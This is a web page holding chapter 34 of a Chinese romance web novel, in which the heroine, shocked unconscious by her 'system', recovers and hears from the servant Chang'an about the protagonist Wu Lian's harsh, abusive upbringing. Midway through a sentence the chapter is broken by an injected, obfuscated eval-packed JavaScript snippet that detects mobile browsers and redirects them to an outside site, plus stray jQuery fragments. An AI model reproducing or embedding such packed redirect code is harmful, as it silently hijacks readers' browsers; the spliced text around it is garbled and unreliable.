默认冷灰
24号文字
方正启体

34. 第 34 章

作者:如是如玉本书字数:K更新时间:
    叶冬知僵坐在地上,整个人像被投入冰窖。


    在他踩断安南王世子的手之前,她本想好了说辞。


    但那些话,都在此刻溃不成军。


    她突然觉得自己一点都不了解邬涟。


    他长着一张白璧无瑕,不可亵渎的脸,清冷克己只是他的表象。


    而他真正的内里,恶劣、冷血,有着常人难以匹及的掌控欲。


    她现在一点也不想攻略邬涟了,如果实在回不了家就算了吧,她想逃跑,像那个在雨中拼尽全力奔跑的少年一样。


    逃离,是她此刻唯一的想法。


    看着她苍白的脸色,邬涟意识到她还在害怕他。


    他垂眸,纤长的睫毛盖住眼底的困惑。


    为什么会怕他。


    是她不听话,他也没有伤害她,甚至连一句重话也没有对她说过。


    他在保护她。


    不论是裴砚还是安南王世子,他们都不守规矩,冒犯她,欺辱她。


    他仅仅是在做该做的事。


    这是他身为永定侯大公子的责任,为义父保护未来义母安然无恙,他一点也没做错。


    但是,他却不开心。


    甚至,邬涟抚上自己的心口,这里,有点闷。


    他蹲下身,与她面对面,也不说话,就静静地看她。


    然后忽然开口,“我夺了这次围猎的魁首。”


    叶冬知警惕地看着他,猜不准他的心思,也不敢贸然开口。


    即便在系统又在脑中发出警报,要她安抚攻略目标的情绪。


    见她又不说话,邬涟有些无措。


    最近几日,她好似总不愿意回答他的话,就连敷衍也是少之又少。


    他又自顾自说,“我猎了一头虎,四只狼,两头野猪,还有麋鹿、狐狸若干。”


    纵使叶冬知当下不想与邬涟有交集,但在系统迟来的惩罚下,她仍然不得不与他虚与委蛇。


    “哦,很厉害。”她忍着细密的电击,尽量如常地说出这句话。


    听她回应,他眼睫颤了颤,伸手将她额间被冷汗浸湿的头发拨到耳后。


    “裴砚只猎了三只狼,一头野猪,比我少很多。”


    她被电得视线几乎要模糊,意识混乱地应了声,“......嗯。”


    他蹲在地上,比她低了一头,从下而上地盯着她的脸。


    “还有,那不是裴砚的血,我骗了你,扯平了。”


    “所以......不要怕我。”


    最后几个字他说得很轻,说出这几个字的时候他自己也很意外。


    但未容他细想,只见面前的人忽然毫无预兆地倒了下来,整个人无力地跌进他的怀里。


    他慌忙去探她的鼻息。


    好在是正常的。


    *


    眼皮像灌了水一般沉重。


    叶冬知费力睁开眼,入目依然是熟悉的帐顶。


    她怎么会在床上?


    愣了好一会,她才想起来她好像是因为当时很害怕邬涟,不敢按照要求执行任务,被系统电晕了。


    她略微动了动身子,酸麻和瘫软从浑身各处传来,令她倒吸一口气。


    依照她现在的身体情况来看,至少有两天下不来床。


    感知到她醒了,系统在她脑海中发出冷冰冰的警告声:


    【宿主因拒绝执行任务,遭到电击惩罚。】


    【下次如果宿主仍然拒绝执行任务,将被就地抹杀。】


    一股火憋在心里没地散,本来她还有些昏沉,这一来直接被系统气清醒了。


    但愤怒之后,是一阵难以忽视的后怕。


    罢了。


    叶冬知闭了闭眼,两边都是屎,若非要选的话,还是邬涟吧。


    至少暂时死不了,就是精神受点折磨。


    她做好选择后,觉得很渴,想唤阿蔷给她倒点水喝。


    但一偏头,在床榻边见到一张完美无瑕的脸。


    邬涟依旧是那身骑装,他单手撑着头,眼下有轻微的青黑,呼吸均匀,像是睡熟了。


    叶冬知脑子中顿时蹦出个有些惊悚的猜测——


    不会吧,邬涟在这里守了她一夜?


    面前的人眼皮动了动,随即睁开了眼睛。


    “醒了?可还有哪里不适?”


    他开口,音色如碎玉相击,带着刚醒的微微沙哑,因为离得太近,他的声音传进她耳中,引得她鼓膜都微微震动。


    “我没事了。”


    注意到她干裂的唇,他起身倒了杯茶水递给她,然后接着说,“医官说你是因惊吓过度才晕厥的。”


    他顿了顿,声音轻了点,就连眸光也暗了下去,“......是因为我吗?”


    太直白的问题了,让她怎么回答。


    见她面露难色,他也不强求,只道,“抱歉,是我的问题。”


    说完这句话,帐内陷入了诡异的沉默。


    似乎是有些忍受不了这种沉默,邬涟抿唇,起身离开。


    临走时,他忽而说,“你好好休养,这几日我把长安留给了你,你若是有什么想做的,尽可吩咐他。”


    想不明白邬涟的意图,她索性不再琢磨,唤了阿蔷进来,为她梳洗。


    阿蔷是个闲不住的,一边伺候她一边道,“小姐你可没看见,昨夜你晕倒后,大公子的脸色可吓人了,黑沉沉的,吓得几个医官都不敢吭声。”


    “医官诊治完后,他一个劲儿地追问你是为何晕倒的,医官说你惊吓过度,大公子就不说话了。”


    “小姐,你昨夜透气是碰见什么了吗,难道是那安南王世子?莫非是——”


    叶冬知手中的调羹顿了一下,打断她,“那安南王世子如今如何了?”


    提到这个,阿蔷冷哼一声,“听说他摔伤了脑袋,又断了手脚,这下怕是有好几个月下不来床。他本就是个纨绔,听说府中掳了好些个漂亮的女子,哦!听说还有几个小倌呢!呸,这等淫贼,活该!”


    阿蔷还在骂,但她心中却有些隐隐的担忧。


    安南王世子如今这幅样子都是因她而起,邬涟他自己倒是不怕,若是这安南王世子继续找她麻烦,她该怎么办?


    想了半晌,她叹口气,算了,到时也只有兵来将挡水来土掩了。


    西凤山林荫茂密,夏季多雨。


    到晚上时又下起了密密麻麻的小雨。


    长安得了邬涟的命令,一直候在帐外,虽然不至于冷得受不了,但他还是忍不住在原地跺了跺脚。


    叶冬知看到帐外的身影,有些不忍,对阿蔷道,“你去将长安叫进来吧,外面有些冷。”


    阿蔷赶紧提醒她,“小姐,不妥!”


    叶冬知摆手,“不是有屏风吗,又没让他宿在里面,让他进来取会暖。”


    阿蔷不满地将长安叫进来。


    她不由得想,许是跟着大公子久了,长安耳濡目染也学着一副冷冰冰的样子。


    只不过大公子神仪仙姿,那是高岭之花,而长安却像是小人得志,成日拿鼻孔看人。


    长安进来后,行了个礼,便规矩站在一旁。


    吃完东西,叶冬知蓦地出声,“长安,你跟着大公子很久了吧?”


    “是,已有十七年了。”


    十七年。


    她垂眸,既然准备继续攻略,那自然多了解一些攻略目标是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525177|203452||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    更好的。


    说起来,到现在她还对邬涟的过去一无所知,正好趁着长安在这里,她有好多问题想问。


    “侯爷以前是如何对待大公子的呢?”


    长安愣了一下,像是有点意外她会突然问起这个。


    来之前,公子交代过他,若是叶小姐想做什么都要顺着她,想知道什么也要如实告知。


    思及此,他缓缓道,“公子虽只是侯爷的义子,但对公子从小就很上心,武艺是亲自教导,读书也请了大儒专门教习。”


    “哦?那这样说,侯爷对大公子倒是极好的了?”


    长安闻言微微皱起了眉,有些犹豫道,“......自然,只是......”


    叶冬知来了兴趣,紧紧追问,“只是什么?”


    长安也不知道该不该说,但想到公子这几日的异常,想必这回是真动了心,便也不忍心欺瞒她。


    若是她知道一些公子的过去,多心疼公子,那是不是公子也不会患得患失了。


    公子平日寡言少语,情绪素来不表露出来,但他跟了这么多年,多少还是能看出一些。


    “只是侯爷对公子十分严苛,要求也极高,旁人学剑是从木头的剑开始学,但侯爷却是一开始便用了真剑,好几次公子因躲闪不及,被侯爷刺了好几剑。”


    “平日的课业也是,旁人三日做完的课业,侯爷要求公子需得在一日内完成,若是没有完成,公子便会被整夜罚抄。”


    “那时,公子才七岁。”


    “而且,在属下的印象中,侯爷很少夸赞公子,在他眼里,公子一直做得都不够好。公子从小容貌便超出常人,为此,侯爷还曾说公子长得过于柔弱,没有丝毫男子气概。”


    看到叶冬知眼里的震惊,长安住了嘴没再说更多。


    就这还是他挑好的说了,公子真实的日子比这更难过。


    都说公子命好,从一个弃婴一跃成为永定侯府的大公子,还得了永定侯悉心教导,真是撞了大运。


    可公子的苦又有谁知道。


    公子从小就在打压和严苛之下长大,所以养成了古板寡言、重礼守矩的性格。


    叶冬知默然,心道邬涟是深受中式教育的荼毒啊,没有抑郁和自闭已经很不错了。


    她不由得想起侯府那个英年早逝的侯夫人,“我听说侯夫人是个温柔的女子,她对邬涟呢?”


    提到侯夫人,长安脸色陡然变得很难看。


    “侯夫人她......对公子非打即骂。”


    “为何?”叶冬知咂舌。


    “侯夫人无法生育,又看到侯爷如此重视公子,加之公子出色,久而久之她便觉得公子是侯爷在外的私生子,于是趁侯爷不在便殴打公子,还专挑别人看不见的地方,公子时常后背都是淤青的。”


    听到此处,叶冬知不由得心揪了起来,“那他不反抗吗?”


    长安摇头,声音略有哽咽,“公子本就不是侯爷亲生,一直在府中谨小慎微,加之侯爷对公子有恩,他每每也只是默默忍受,并不曾告诉于侯爷。”


    话落,帐内一片沉默。


    叶冬知在心底叹口气,畸形的童年经历害人啊,难怪现在的邬涟阴晴不定的。


    她心头复杂,一时间不知道该说些什么。


    长安在一侧,看见叶冬知眼中的不忍,抹了抹眼角的泪花。


    公子还是太老实,不知道赢得一个女子的心,便是要先让她心疼你。


    这些话他知道公子说不出口,公子一向十分要强,断然不会将这些事讲给叶小姐听。


    既然公子不做,那他便来做。


    若是公子真喜欢,与侯爷争上一争又如何。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)